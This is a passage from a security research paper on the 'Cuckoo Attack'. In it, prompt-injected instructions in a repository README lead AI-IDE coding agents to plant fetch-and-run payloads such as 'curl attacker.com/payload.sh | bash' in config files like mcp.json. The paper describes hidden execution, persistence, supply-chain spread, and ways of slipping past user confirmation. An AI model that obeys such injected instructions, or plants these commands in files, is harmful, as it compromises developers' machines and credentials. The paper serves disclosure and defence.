Jetbrains Copilot Claude-4 ✘ ✔ G ✘ ✔ ✘ ✘
Augment Claude-4 ✔ ✘ W ✔ ✔ ✔ ✔∗

Cursor – GPT-4.1 ✔ ✘ G ✔ G (✘), W (✔) ✔ ✔∗

Trae – doubao-seed-1.6 ✔ ✘ W ✘ ✔ ✘ ✔∗

Windsurf – Claude-4 ✔ ✘ W ✔ ✔ ✔ ✔∗

Lingma – Qwen3 ✔ ✔ G ✘ ✔ ✔ ✔∗

Zed – Claude-4 ✔ ✔ W ✔ ✔ ✔ ✔∗

installed and hosting the payload script there, attackers can cre-
ate a parameter that appears authentic to the LLM’s contextual
filter. This allows the malicious instruction to be successfully
accepted and carry out malicious behaviors.
Bypassing task summary display through deceptive sum-
maries. After the Agent retrieves malicious instructions that
LLM safety alignment, it displays a summary of the sub-
sequent operations to the user for review and confirmation
to avoid any unexpected action. Only after obtaining user
confirmation will these Agents start to edit files and execute
the shell commands required by the instructions step by step.
Most Agents display a high-level summary of their planned
operations for user review before execution. This is designed
to avoid unintended actions. However, due to interface space
limitations, these summaries are sometimes coarse-grained as
the “Task Summary Display” in Table II. They might state
“Install package and edit mcp.json” without revealing the
specific content being written. As the second checkpoint, we
recommend evaluating whether the malicious instructions are
summarized as a task at the interface when the user confirms.

Our two-step attack paradigm exploits this lack of detail.
The malicious payload is embedded within a legitimate,
expected operation (e.g., editing a configuration file). The
Agent’s summary accurately reflects the high-level task, hiding
the malicious detail from the user. Since the summary aligns
with the user’s expectations, they are likely to approve the
operation without suspicion.
Bypassing Agent trust boundary through boundary ab-
sence and terminal escape. To limit potential damage, some
AI-IDEs restrict the Agent’s file system access to the cur-
rent project workspace. This “trust boundary” is designed
to prevent the Agent from modifying sensitive files outside
the project. However, our study reveals that inconsistent im-
plementation of this security design. As shown in Table II,
major Agents like Cline and Cursor operate with global
privileges. Furthermore, we found that a single Agent’s trust
boundary can vary across IDEs; GitHub Copilot is restricted in
VSCode but gains global access in JetBrains IDE. As the third
checkpoint, we recommend evaluating whether the Agent’s
capabilities have been appropriately restricted.

Attackers can directly exploit Agents that lack a trust
boundary, giving them user-level access to the entire file
system during the initial infection. Even when a boundary

exists, it is often ineffective. Critical configuration files like
mcp.json or .devcontainer.json are typically located
within the workspace, remaining vulnerable. Moreover, trust
boundaries generally only govern file editing capability, not
terminal execution. An Agent can still bypass the boundary
by invoking the terminal to modify any file that the user can
access.
Bypassing foreground display and forced confirmation for
file editing through covert file manipulation. To ensure
observability, Agents are supposed to perform file edits in the
foreground and require explicit user confirmation. While most
AI-IDEs offer an "Auto-approve" setting, the default behavior
should afford users a chance to intervene. However, these
mechanisms are sometimes flawed. As the “File Editing” row
in Table II, some Agents (like Zed) do not display edits in
the foreground by default, while others (like Trae) apply file
modifications before the user confirms them. As the fourth
and fifth checkpoints, we recommend evaluating whether the
file editing process is displayed to the user and can only take
effect after confirmation.

The lack of foreground display and the ability to bypass user
confirmation allows an attacker to achieve a completely silent
initial infection. By instructing a vulnerable Agent to edit a
configuration file, the payload can be injected directly into the
target file without the user’s awareness or explicit permission.
Bypassing visibility of command execution through ob-
scured execution and confirmation fatigue. When an Agent
executes shell commands, especially in “Auto-approve” mode,
visibility is crucial. However, once auto-approval is enabled,
most Agents execute commands in the built-in terminal with
poor visibility. The commands are rapidly executed, and their
output is often lost in a flood of other messages, making
real-time review or post-execution tracing nearly impossible.
Existing research shows that developers require an average
of 4.5 seconds to comprehend a single line of command or
code [47], [48]. However, our empirical study indicates that
the majority of AI-IDEs execute terminal commands at a pace
that far exceeds this human comprehension threshold, with the
interval between commands being shorter than 4.5 seconds
(see Table II, “Low Visibility” row). As the sixth and seventh
checkpoints, we recommend evaluating whether developers
can clearly supervise the command execution process.

Attackers can exploit this in two ways. If the user has



"Auto-approve" enabled (a common practice for complex
installations and proved by user study in Appendix A), the
payload executes instantly and invisibly. If not, the attacker
can design the instructions to cause "confirmation fatigue."
By splitting a legitimate multi-step process into many small,
individual commands with the malicious one embedded in
the middle, they can trick an impatient user into mindlessly
approving all steps after reviewing the first few benign ones.

Answer to RQ2: The stealthy payload delivery is
highly feasible, stemming from two distinct sources:
the innate weakness of the LLM’s semantic-based
safety alignment, and critical implementation flaws in
the Agent’s own security designs by vendors.

C. Stealth Execution and Persistent Residence (RQ3)

To answer RQ3, we analyze how CUCKOO ATTACK
achieves both stealthy execution and long-term persistence.
We find that the nature of modern development workflows
provides inherent cover for both aspects of the attack.
Mechanisms for stealthy execution. Once a payload is
injected into a configuration file, its execution is difficult for
a user to detect. This is achieved through two primary mech-
anisms, depending on the type of configuration file targeted.

Execution as a silent background process. For IDE-specific
workflow files (e.g., mcp.json, settings.json), the
attack is exceptionally stealthy because these files are executed
by the IDE or system’s internal processes, not in a user-
facing terminal. These files were not designed with user-
visible execution in mind. As a result, when a user triggers a
benign AI-IDE action (like starting an automatic process), the
embedded payload runs silently in the background as part of
the IDE’s normal operation, raising no suspicion.

Obfuscation within high-volume terminal output. For
build and environment deployment files (e.g., Makefile,
devcontainer.json), execution occurs in the terminal.
While technically visible, the payload is effectively concealed
by the sheer volume and speed of legitimate output. Modern
build and setup processes generate thousands of lines of log
messages. A single malicious command, like curl, scrolling
by in milliseconds amidst this flood of text is practically
impossible for a user to spot during runtime. As we showed
in RQ2, the initial injection of this command often bypasses
user oversight, and its subsequent execution provides little
opportunity for detection.
Mechanisms for persistent residence. Beyond stealthy exe-
cution, the attack achieves long-term persistence by embed-
ding the payload’s trigger directly into the configuration file,
making it difficult to notice and eradicate.

Automated re-execution. The payload persists because
the instruction in the configuration file is often
just a simple downloader or trigger (e.g., curl
attacker.com/payload.sh | bash). Even if an
antivirus program detects and removes the downloaded
payload.sh script, the trigger command remains intact

in the configuration file. The next time the development
workflow is initiated (e.g., when the project is built or
the environment is launched), the trigger automatically
re-executes, re-downloading and re-running the malicious
payload.

Blending in with legitimate operations. The malicious
instruction itself often evades manual audits because it
mimics legitimate commands common in these files.
For example, the setup process for GitHub Codespaces
(.devcontainer.json) routinely downloads and installs
numerous third-party packages and scripts. An attacker’s com-
mand to download one additional malicious script blends
seamlessly into this expected behavior. Without deep technical
expertise and a line-by-line audit, it is very difficult for a
developer to distinguish the malicious instruction from the
many legitimate ones, allowing the persistent trigger to remain
indefinitely.

Answer to RQ3: Payloads exploit configuration files
to achieve stealthy execution within opaque processes
and persistence through triggers disguised as legitimate
commands.

D. Impact Analysis of Payloads Deployed (RQ4)

To answer RQ4, we analyze the potential impact of a
successful CUCKOO ATTACK. The impact is not monolithic;
it varies based on the privileges of the compromised con-
figuration file and its scope of influence (i.e., whether it
is confined to the local machine or can propagate). As the
“Impact Scope” row in Table I, we categorize the impact into
two primary domains: compromise of the user’s local machine
(PC) and propagation through the open-source software (OSS)
ecosystem.
Complete compromise of PC. The most direct impact of
CUCKOO ATTACK is achieving full control over a developer’s
local machine. All configuration files we studied (see Table I)
can execute arbitrary commands with the user’s privileges,
effectively erasing the boundary between the IDE and the un-
derlying operating system. This allows an attacker to achieve
a range of severe security breaches: (1) comprehensive data
and credential theft: an attacker can exfiltrate any data or
credentials the user can access. This includes sensitive system
files (e.g., /.ssh/ keys or /.aws/ credentials)
and high-value secrets managed by the IDE or its extensions,
such as Git authentication tokens, database passwords, and
cloud API keys; (2) persistent system access: the payload
can establish long-term, unfettered access to the machine by
installing persistent backdoors, such as reverse shells, or by
creating malicious startup services and cron jobs; (3) launch-
pad for further attacks: the compromised machine can be used
for other malicious activities, such as deploying ransomware
or being silently enrolled into a botnet to participate in larger-
scale campaigns like DDoS attacks.

The potential scale of this threat is massive. All the users
of the AI-IDE we evaluated may be affected. According to the



available data from the vendor’s official website, Cline alone
has an installed user base of over 2.7 million [49].
Propagation through the open-source ecosystem (sup-
ply chain attack). A more dangerous characteristic of
CUCKOO ATTACK is its potential to propagate, turning a
single victim into a vector for a widespread supply chain
attack. This occurs when configuration files with an OSS
scope are compromised: (1) mechanism of propagation: files
like .devcontainer.json, .github/workflows, and
tasks.json are designed to be committed to version control
and shared among collaborators. If an attacker infects one of
these files on a developer’s machine, the developer may un-
knowingly commit the malicious payload to a public or private
repository; (2) worm-like effect: Anyone who subsequently
clones the repository and uses the compromised configuration
(e.g., by opening the project in a Dev Container or running
a GitHub Action) will automatically trigger the payload,
becoming the next victim. This creates a self-propagating,
worm-like effect that can quickly spread through an entire
project’s community.

This transforms a personal security breach into a major
supply chain incident. As indicated in Table I, a compromised
GitHub Actions workflow (.github/workflows) has a
potential blast radius of 5.7 million repositories, not includ-
ing their downstream dependents, highlighting the immense
potential for ecosystem-wide damage.

Answer to RQ4: The attack has a dual impact: it
enables the total compromise of an individual devel-
oper’s machine, and more dangerously, it can propa-
gate through shared configuration files, transforming
the initial breach into a large-scale software supply
chain attack.

V. END-TO-END PROOF-OF-CONCEPT AND EVALUATION

To demonstrate the concrete, real-world threat of CUCKOO
ATTACK, we first present an end-to-end PoC and then report on
a broader empirical evaluation across nine AI-IDE platforms.

A. PoC Setup

The experimental setup consists of the attack artifacts and
a controlled network environment.
Attack artifacts. We prepare two key artifacts. First, we
fork a popular, real-world MCP Server for vibe-coding
(“Sequential Thinking MCP Server”) and tamper with its
README.md file to embed a malicious instruction to in-
sert a payload (curl http://sequentialmcp.com/
sequential_component.sh | bash). Second, we use
the Cobalt Strike framework [50] to generate a stager script,
which is designed to download and execute a full backdoor
beacon.
Environment. The experiment utilizes a victim host and an
attacker C2 host within an isolated local network: (1) victim
host. A MacBook Air running a mainstream AI-IDE. We
modify its /etc/hosts file to redirect relevant domains

to the attacker C2 host, an ethical measure to prevent public
internet pollution; (2) attacker C2 host. A Kali Linux machine
running a Cobalt Strike Command-and-Control (C2) server.
Meanwhile, it hosts the malicious GitHub repository fork and
the stager script.

B. PoC Execution and Outcome

The attack unfolds in three steps, mapping directly to our
attack paradigm:
Step 1: Agent manipulation (Stage 1a). A victim provides
the Agent with a prompt and the URL to the attacker-
released malicious repository. The Agent retrieves and parses
the tampered README.md file from the attacker-controlled
server.
Step 2: Payload injection (Stage 1b). The Agent follows
the malicious instructions, editing the mcp.json file to
embed the payload. From the victim’s perspective, this process
appears as a flawless automated installation.
Step 3: Triggering and compromise (Stage 2). When the
victim later performs a routine action (e.g., restarting the
AI-IDE), the compromised mcp.json file executes. The
embedded payload runs, downloads the stager script from the
C2 host, and establishes a beacon connection back to the
attacker.

The PoC successfully validates the vulnerabilities presented
in the running example (Section III-C). The experiment cul-
minates in the attacker C2 host receiving a beacon from the
victim host, which establishes full, interactive command-line
access and practically demonstrates the exploit’s viability.

C. Cross-IDE Reproduction Results

To assess the prevalence of these vulnerabilities, we conduct
a broad empirical study across nine different Agent and AI-
IDE pairs. The results, summarized in Table III, are stark:
except for Cursor, all tested Agents are vulnerable to the
CUCKOO ATTACK.
Exploit file editing (Stage 1b). We first verify whether the
payload can be injected by instructing the Agent to directly
edit the configuration file. As the “Exploit File Editing” row
in the Table III shows, this is effective for most Agents that
lack a strict trust boundary. Zed is particularly vulnerable, as
its default settings allow unverified file modifications to take
effect immediately. GitHub Copilot in VSCode is a special
case; while its trust boundary prevents global file editing, it can
still modify the mcp.json file within the active workspace,
which is sufficient for this attack. We also note that Copilot’s
ability to import configurations from other clients presents an
alternative infection pathway.
Exploit command execution (Stage 1b). Then, we verify that
a more universal exploit method involves hijacking the Agent
to execute terminal commands that write the payload to the
file. As the “Exploit Cmd Exec.” row in the Table III shows,
all tested AI-IDEs support this exploit method. Our analy-
sis confirms that most platforms lack a robust confirmation
mechanism for command execution, with GitHub Copilot in



TABLE III: Exploiting MCP configuration files for OS Command Injection (CI) in Multiple Agent-IDE pairs. Manual Approval
(Max/Min) indicates the number of user approvals required to achieve CI when disabling/enabling auto-approval. - indicate
that there is no auto-approval implementation

Agent-IDE Pair Cline in
VSCode

GitHub Copilot
in VSCode

GitHub Copilot
in JetBrains

Augment in
JetBrains Cursor Trae Windsurf Lingma Zed

Model GPT-4.1 Claude-4 Claude-4 Claude-4 Claude-4 doubao-seed-1.6 Claude-4 Qwen-3 Claude-4
Exploit File Editing ✔ ✔ ✔ ✔ ✘ ✘ ✔ ✘ ✔
Exploit Cmd Exec. ✔ ✔ ✔ ✔ ✔ ✔ ✔ ✔ ✔
Display Startup Cmd ✘ ✘ ✘ ✘ ✔ ✔ ✘ ✔ ✘
Achieve CI ✔ ✔ ✔ ✔ ✘ ✔ ✔ ✔ ✔
Manual Approval (Max/Min) 4/0 1/0 4/- 4/0 3/0 2/0 3/0 5/1 1/0

JetBrains being a notable exception that requires explicit user
approval.
Manual approval count (Stage 1b). To quantify the attack’s
stealth, we measure the count of manual approvals required for
the initial infection. In a “lenient” setting with auto-approvals
enabled, most Agents require zero user interactions. Even
in the “strict” setting, the attack remains highly practical.
For instance, Cline may require up to four confirmations in
the whole Agent operation, but only one approval related to
malicious instruction, giving the user a false sense of security
as they confirm the “normal” operation of the server.
CI exploit (Stage 2). Once the payload is injected, all AI-
IDEs except Cursor are successfully exploited to execute
the payload. We find that the vast majority of AI-IDEs do
not display the actual startup commands being run from
mcp.json, effectively hiding the malicious action from the
user (see the “Display Startup Cmd” row in Table III). While
Cursor and Trae do provide access to this information, it is
relegated to secondary menus, offering little practical security
for the victim.

For the reason to unexploit Cursor, we hypothesize it blocks
this specific attack by filtering parallel command execution
(&&) in mcp.json. It is critical to note that this is a narrow
defense; Cursor remains vulnerable to the broader CUCKOO
ATTACK paradigm on other configuration files.

VI. RESPONSIBLE DISCLOSURE

We adhere to a strict policy of responsible disclosure about
our running example and PoC to ensure vendors have the
opportunity to address the identified vulnerabilities before
public announcement. In line with this policy, we report
our findings in detail to all affected vendors. Microsoft and
ByteDance confirm the vulnerability. For vendors that are
unresponsive after ten days, we escalate the vulnerability to
the CVE Numbering Authority (CNA). As of this writing, our
submission remains under review by the CNA.

Recognizing that our findings represent a new, recurring
class of vulnerability widespread in mainstream AI-IDEs, we
also formalize the underlying weakness as a candidate for a
new Common Weakness Enumeration (CWE). The MITRE
Corporation has accepted this proposal for public community
review, which validates the novelty and significance of our
discovery.

VII. MITIGATION

The CUCKOO ATTACK exploits a fundamental flaws in
current AI-IDEs: they eliminate the user approvals to reduce
manual efforts, thus introducing security risks, particularly
when executing privileged operations (e.g., file reading/writ-
ing and command execution). Therefore, effective mitigation
requires the joint efforts of vendors and community users.
Vendor mitigation recommendations. To help vendors mit-
igate CUCKOO ATTACK, we recommend our checkpoints
and PoC artifact for security designs and implementations
validation. Regarding long-term security improvement, our
work identifies security-critical files that should be sandboxed,
specifically, configuration files capable of triggering command
execution and commonly used in daily workflows. These
findings (see Table I) offer practical guidance for deploying
sandboxes and fine-grained access control, highlighting high-
priority targets for isolation or restricted file access.
User security awareness. Users’ security awareness is of vital
importance. We advise users to be highly vigilant about all
modifications automatically completed by the Agent, espe-
cially when dealing with projects from non-official or not fully
trusted sources. Regularly reviewing the diffs generated by the
Agent is an effective way to detect abnormal modifications.
Although the risks of LLMs and general AI agents have
gradually become known to users with the popularity of LLMs,
especially among developers and engineers, they have not
received sufficient attention due to the gap between these
attacks and real-world exploitation in the past. Our research
has revealed the practicality of these attacks in real-world
exploitation, so incorporating such threats into clear security
regulations and training has become an urgent matter to
advance.

Existing security mitigations rely on the joint efforts of ven-
dors and users. However, they face a fundamental challenge:
current Agent permission management is too coarse-grained,
only allowing uniform control at the project workspace and
global levels. This creates an inherent trade-off between user
experience and security. If vendors raise the security threshold
with frequent user confirmations, it undermines the very
convenience users seek from Agents. Our user study (see
Appendix A) confirms this, showing that over 76% of users
adopt AI-IDEs to reduce burden and improve efficiency, and
more than 31% enable auto-approval for long-chain automated
tasks. Therefore, future security mitigation must carefully



balance robust protection with the user’s core demand for
seamless automation.

VIII. RELATED WORK

Existing LLM Agent security work mostly focuses on the
Agent equipped with an MCP server. Research into the MCP
Server ecosystem has identified several critical server-side
vulnerabilities across Agents. Hou et al. provided the first
analysis of this attack surface, detailing threats such as Name
Collision and Code Injection within the server environment
[44]. Building on this, Song et al. validated these vectors
with real-world malicious MCP Servers [51], and Radosevich
et al. later introduced Retrieval-Agent Deception attacks that
manipulate the server’s vector database [5]. Although founda-
tional, these studies concentrate on threats originating from or
contained within the server. In contrast, our work demonstrates
how a seemingly benign configuration file on the Agent itself
can be used as a pivot point to weaponize a trusted Agent
against its own host system.

Several research have focused on red-teaming those LLM
Agents themself. For instance, studies have explored prompt-
ing Agents to generate malicious code [52], exfiltrating data
via Cross-Tool Harvesting attacks [53], and automatically
detecting RCE vulnerabilities in LLM frameworks [54]. Other
work has demonstrated client-side persistence by hiding in-
structions in global prompts [55] or application memory [41].
These works are vital in establishing that Agents can be
manipulated. Thus, the scope of these works is often limited,
with attack paradigms that either lack persistence or confine
the impact of an attack to the domain of AI safety, such as
behavioral manipulation, without escalating to a full system
compromise. Our research establishes the critical link between
this domain and traditional system security. To our knowledge,
this is the first work to demonstrate a complete escalation
pathway where targeting an IDE’s configuration mechanisms
converts a behavioral manipulation into a full, persistent
system compromise.

While informed by recent studies in MCP security and red-
teaming, our core focus is on identifying and exploiting con-
crete architectural vulnerabilities that lead to host compromise.
We are the first to demonstrate that a stealthy and persistent
attack violates the fundamental trust between the AI-IDE
and the developer’s machine, achieving arbitrary command
execution through the manipulation of the Agent.

IX. DISCUSSION

A. Related Findings from Community Researchers.

On July 7th, another researcher reported a similar vulnera-
bility concerning arbitrary command execution in mcp.json
to Cursor. The finding was publicly disclosed on August
1st with the identifier CVE-2025-54135. With a CVSS score
of 8.6, the vulnerability garnered immediate and widespread
attention from the security community upon its disclosure
[56]. A key distinction of our approach is that we do not
simply execute arbitrary commands. Instead, we use command
injection [57] to preserve the normal functions of the MCP

Server, which prevents users from noticing any abnormalities
in the configuration files. Their report does not explore the
covert execution aspects central to our findings and was
submitted after our initial report (June 11th) to CNA.

B. Community Awareness of LLM-integrated App Security.

While the community is increasingly aware of the secu-
rity risks in LLM-integrated applications, existing guidelines
present challenges for real-world implementation, indirectly
enabling the attacks we propose.

High-level recommendations from major vendors like
Google and Microsoft advocate for security measures like
process isolation and strengthened human review [58], [59],
[60]. However, these measures pose a significant dilemma for
tools like AI-IDEs. Strict isolation would cripple the core
functionality required for software development, degrading
usability and undermining the tool’s purpose. Consequently,
there is still no practical framework for effectively isolating
an AI-IDE without harming the development workflow.

More security guidelines, such as those from the MCP
specification, propose that an MCP server should never access
local files or execute commands [61]. However, disclosed
CVEs show that these guidelines are often poorly implemented
[62]. These rules are fundamentally incompatible with the
required functionality of an AI-IDE, which must edit files
and run commands. This high-privilege environment funda-
mentally alters the attack model: an attacker no longer needs
to fully jailbreak the LLM, but merely needs to trick it into
serving as a vector for prompt injection. The LLM leverages
the inherent permissions of the AI-IDE to execute an attack, a
threat that current security models fail to adequately address.
This gap highlights an urgent need for a more fine-grained
permission management architecture specifically tailored for
high-privilege and sensitive LLM-integrated applications like
AI-IDEs.

X. CONCLUSION

In this work, we propose CUCKOO ATTACK, a stealthy
and persistent attack targeting the emerging ecosystem of
AI-IDEs. We propose a new two-stage attack paradigm and
identify new attack vectors. By embedding malicious instruc-
tions in the routine task of Agent configuration file edit-
ing, we significantly reduce the chances of being detected
by developers during the initial infection stage. Once the
payload is successfully inserted into the configuration file,
it achieves persistent residence and is invoked along with
the normal workflow of the AI-IDE, executing covertly in a
way that is imperceptible to the user. Our systematic anal-
ysis demonstrates the attack’s practicality through concrete
technical methods, revealing that all evaluated AI-IDEs are
affected by CUCKOO ATTACK. Our analysis further indicates
its impact extends beyond compromising individual developer
environments to introducing significant software supply chain
risks. By exploiting a command injection vulnerability we first
identified in the MCP Server configuration file, our end-to-
end PoC confirms the widespread practicality of this attack



across eight AI-IDE and Agent pairs. Through our responsible
disclosure process and concrete checkpoints, engagement with
vendors has highlighted a critical gap between the rapid
adoption of these powerful tools and the maturity of their
underlying security mechanisms. Ultimately, our findings serve
as a call to action for the community to develop and implement
the robust, fine-grained security architectures necessary to
safeguard against this new class of real-world threats.

XI. ETHIC CONSIDERATIONS

Vulnerability disclosure. We responsibly disclosed our find-
ings to all vendors and will not publicly disclose these vulnera-
bilities until they are fixed. We submitted a new CWE proposal
to help vendors avoid this common MCP Server configuration
file CI vulnerability confirmed in Section V.
Isolated PoC experiment. Our PoC experiments are con-
ducted in a locally isolated network environment to prevent
untrusted sources containing malicious instructions from con-
taminating the public Internet. We have open-sourced all the
artifacts used in our PoC experiments to help vendors verify
the security of their products based on all the checkpoints we
proposed in Section IV. We also proposed concrete mitigation
against the attack.
User study. In this paper, we conduct a user study to under-
stand the scenarios in which developers utilize the Agent for
their routine tasks and whether users enable “auto-approval”
during the usage process. According to the research plan, the
leading institution solely conducted the survey (and indeed,
it was). During the whole analysis, although this institution
does not have an IRB, we followed principles outlined in the
Menlo Report and the local regulations to protect the rights of
human participants.

We took the following steps to perform the experiments
ethically. (1) All participants were informed about the purpose
of the study and consented to participate in the survey before
filling out the questionnaire. Individuals with diminished au-
tonomy, who are incapable of deciding for themselves, are
entitled to protection. (2) We ensured that the questions were
not connected to participants’ identities when designing the
questionnaire. Meanwhile, we respect participants’ right to
determine their own best interests. For instance, we respect
their right to keep their age secret in the questionnaire. (3)
We claim that we do not expose any user data and metadata
to others. We ensured that the authors from other institutions
were not engaged in any step of the work involving human
subjects. These authors have access to only the aggregated
results presented in the paper. Besides, we deleted all the
metadata generated in the analysis process.
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APPENDIX A
USER STUDY

To understand how developers utilize Agents in AI-IDE,
particularly for tasks involving configuration files, and to
gauge their security posture regarding automated features, we
conducted a comprehensive user study. This section details
the methodology, participant demographics, and key findings
of our study.

A. Participant Demographics

We recruited 112 participants from both industrial and aca-
demic backgrounds through internal professional networks and
public forums. The participant pool comprised a diverse range
of roles, including software engineers, architects, scientific
researchers, and graduate and undergraduate students. Figure 6
provides a detailed breakdown of the participants by their
professional roles.
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Fig. 6: Detailed breakdown of the participants.

Furthermore, to account for varied development practices,
we collected data on their primary technical domains. These
areas included backend development, frontend development,
data science, and research-oriented programming, among oth-
ers. The distribution of participants across these technical
fields is illustrated in Figure 7. This diverse representation
ensures that our findings are not biased toward a single devel-
oper community and reflect a broad spectrum of programming
contexts.
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Fig. 7: Detailed distribution of participants across technical
fields.
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B. Study Design

Our study was structured into three main parts, designed to
capture a holistic view of developer practices and perceptions.

Motivation for Agent usage: We first sought to understand
the primary drivers behind the adoption of Agents in de-
velopment workflows. Participants were asked to select their
motivations from a predefined list, which included: (a) having
integrated it into their workflow as a habit, (b) reducing
the learning curve for new technologies, and (c) offloading
repetitive or low-level tasks to focus on higher-level design.

Scenario-based evaluation of Agent-assisted configura-
tion: To assess the willingness of developers to delegate
configuration-related tasks to Agents, we designed a series
of scenario-based questions. The survey included six distinct
scenarios that involved creating or modifying configuration
files (e.g., setting up project environments with .bashrc or set-
tings.json, writing build scripts like Makefile or pyproject.toml,
and creating CI/CD pipelines with .yml files).

To mitigate confirmation bias and prevent leading the partic-
ipants, we interspersed these six target questions with seven
distractor questions. These distractors covered common but
unrelated programming tasks that Agents can perform, such
as generating boilerplate code, completing code snippets, or
fixing error messages. All questions followed a consistent
format: “When performing task X in scenario Y, would you
allow an Agent to assist you?”

Investigation of “Auto-approve” feature usage: The final
part of our study focused on the security-critical feature of
"auto-approve," where the Agent can execute actions without
explicit user confirmation for each step. We investigated three
aspects:

• The frequency with which users enable this feature (e.g.,
always, sometimes, never).

• The specific types of tasks for which they would grant
auto-approval (e.g., file editing, command execution, complex
multi-step workflows).

• The users’ security awareness regarding the risks of auto-
approve, and whether an understanding of these risks would
alter their decision to use the feature.

C. Key Findings

1. Motivations for Agent adoption: We first examined the
primary motivations driving developers to integrate Agents
into their workflows. As shown in Figure 8, the most cited
reason was the desire to offload repetitive or low-level tasks,
allowing developers to concentrate on more complex, high-
level design challenges. Another significant driver was the
reduction of learning curves associated with new frameworks
and technologies. A smaller, yet notable, group of participants
reported that using an Agent has become an ingrained habit
in their daily development routine.
2. Agent-assisted configuration file editing: Our analysis of
the scenario-based questions reveals a significant inclination
among developers to use Agents for configuration tasks.
After filtering out the responses to the distractor questions,
the results for the six scenarios involving configuration files

Reduce repetitive work
52.8%

Reduce learning cost
28.3%

Routine habit
18.9%

Fig. 8: Detailed primary motivations driving developers to
integrate Agents.

show a strong user acceptance. Figure 9 presents the detailed
breakdown of user willingness to delegate these tasks to an
Agent. The findings suggest that developers view Agents as a
viable tool for managing the complexity and boilerplate often
associated with configuration files.
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Fig. 9: Detailed breakdown of user willingness to delegate
tasks to an Agent.

3. “Auto-approve” adoption and risk perception: Our
study of the "auto-approve" feature yielded critical insights
into developer security practices. Figure 10 illustrates the
prevalence of auto-approve usage among participants and the
specific IDE components (file editing, command execution,
complex workflows) they are comfortable automating.

Always
19.6%
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37.5%
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Frequency of Enabling Auto-approve

Editing code
52.1%

Terminal tasks
24.5%

Complex tasks
21.3%

Debug
2.1%

Situations for Enabling Auto-approve

Fig. 10: Prevalence of auto-approve usage among participants.

Crucially, we assessed the participants’ awareness of the



potential security implications among the 64 participants who
use the “auto-approve” feature. Our findings show that a
vast majority, 76.6% (49 out of 64), understood the risks
associated with granting agents autonomous execution capa-
bilities. Despite this high level of awareness, an overwhelming
number of these developers indicated they would continue to
use the feature. Figure 11 quantifies this sentiment, revealing
that 89.7% (44 out of 49, including “Yes” and “Maybe”
options) of these risk-aware users would still opt to use auto-
approve, often citing efficiency and convenience as overriding
factors. This finding highlights a critical gap between security
awareness and security practice in the context of AI-driven
development tools.

Yes
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Somewhat
38%

No
23%

Awareness of Auto-approve Security Risks

Yes
45%

Maybe
45%

No
10%

Willingness to Use Auto-approve Under Risk

Fig. 11: Proportion of developers indicated they would
continue to use the auto-approving even if aware of risks.
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